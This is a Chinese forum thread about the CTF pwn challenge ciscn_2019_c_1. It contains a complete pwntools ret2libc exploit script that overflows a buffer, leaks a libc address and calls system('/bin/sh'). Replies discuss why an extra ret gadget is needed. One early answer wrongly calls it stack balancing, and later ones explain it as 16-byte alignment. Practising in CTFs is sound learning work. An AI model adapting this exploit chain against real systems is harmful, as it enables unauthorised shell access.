sweety 发表于 2021-9-9 21:37:08

求助,做pwn题ciscn_2019_c_1时栈平衡的问题

本帖最后由 sweety 于 2021-9-9 21:38 编辑

原题地址:BUUCTF在线评测 (buuoj.cn)
这里是exp

from os import popen
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
#p = remote('node4.buuoj.cn',28554)
p = process('./pwn')
e = ELF("./pwn")
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
gets_got_addr = e.got['gets']
encrypt_addr = 0x4009a0
pop_rdi = 0x0000000000400c83
ret = 0x4006b9

p.recvuntil("choice!\n")
p.sendline("1")

payload = 'a'*88 + p64(pop_rdi) + p64(gets_got_addr) + p64(puts_plt_addr) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil("llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll")
gets_addr = p.recvuntil("Input your Plaintext to be encrypted").split("\n")
print gets_addr
gets_addr = u64(gets_addr.ljust(8,"\x00"))
print hex(gets_addr)
'''
libc = LibcSearcher("gets",gets_addr)
libc_base = gets_addr - libc.dump('gets')
system_addr = libc.dump("system") + libc_base
bin_addr = libc.dump("str_bin_sh") + libc_base
'''

libc = ELF("./libc.so")
libc_base = gets_addr - libc.symbols['gets']
system_addr = libc.symbols["system"] + libc_base
bin_addr = libc.search("/bin/sh").next() + libc_base

# payload = 'a'*88+p64(pop_rdi) + p64(bin_addr) + p64(system_addr) 这是我写的payload
payload = 'a'*88+ p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()
我看其他wp发现最后一个payload里添加了p64(ret),并说明为栈平衡

看了一天不懂为什么需要栈平衡,而且为什么要用ret指令平衡,求助

roger 发表于 2021-9-10 09:48:29

前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令都可以用来平衡堆栈

sweety 发表于 2021-9-10 21:10:46

本帖最后由 sweety 于 2021-9-10 21:14 编辑

roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡...

sweety 发表于 2021-9-10 21:23:59

roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...

那我如何判断堆栈是用push还是pop来提升还是降低栈而使他平衡呢,这题的ret可以看做用pop平衡,这是怎么判断的呢

Sierra 发表于 2021-9-13 21:52:35

不是栈平衡。。。这是ubuntu18版本以上,调用system时需要栈对齐。百度搜索栈对齐相关知识。

Sierra 发表于 2021-9-13 21:54:33

sweety 发表于 2021-9-10 21:10
我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡...

不是平衡堆栈。。。这是栈对齐,他说的不对

sweety 发表于 2021-9-15 17:03:19

Sierra 发表于 2021-9-13 21:54
不是平衡堆栈。。。这是栈对齐,他说的不对

谢谢,我百度找找

refrain 发表于 2021-9-15 22:49:40

sweety 发表于 2021-9-15 17:03
谢谢,我百度找找

很早以前找文章研究过这个,印象中大概就是ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,而我们在填入了一堆垃圾数据以后就会导致此时栈不是对齐的,所以要在调用system前把栈地址ret到一个对齐的位置,大部分情况只需要随便找一个ret就可以了,因为没有被你动过的内存大概是对齐的,你填完垃圾数据以后来到ret_addr上,本来是把system的rop链填在上面来控制执行流,会ret system(bin/sh),前面多个ret就是ret ret system(bin/sh),仔细想想是没有差别的,https://www.cnblogs.com/Rookle/p/12871878.html 具体可以看这个博客,是我当时找到讲的最好最清楚的。上面只是本人看法,如果有大佬觉得是错的请指出。

sweety 发表于 2021-9-17 14:43:18

本帖最后由 sweety 于 2021-10-20 15:57 编辑

谢谢各位师傅热心回答,最近做第五空间的bountyhunter时又遇到这个问题,当时是gdb attach调试才发现原因,是movaps与xmm寄存器的问题,这两个因素在一起的话栈必须是16字节对齐的

页: [1]
查看完整版本: 求助,做pwn题ciscn_2019_c_1时栈平衡的问题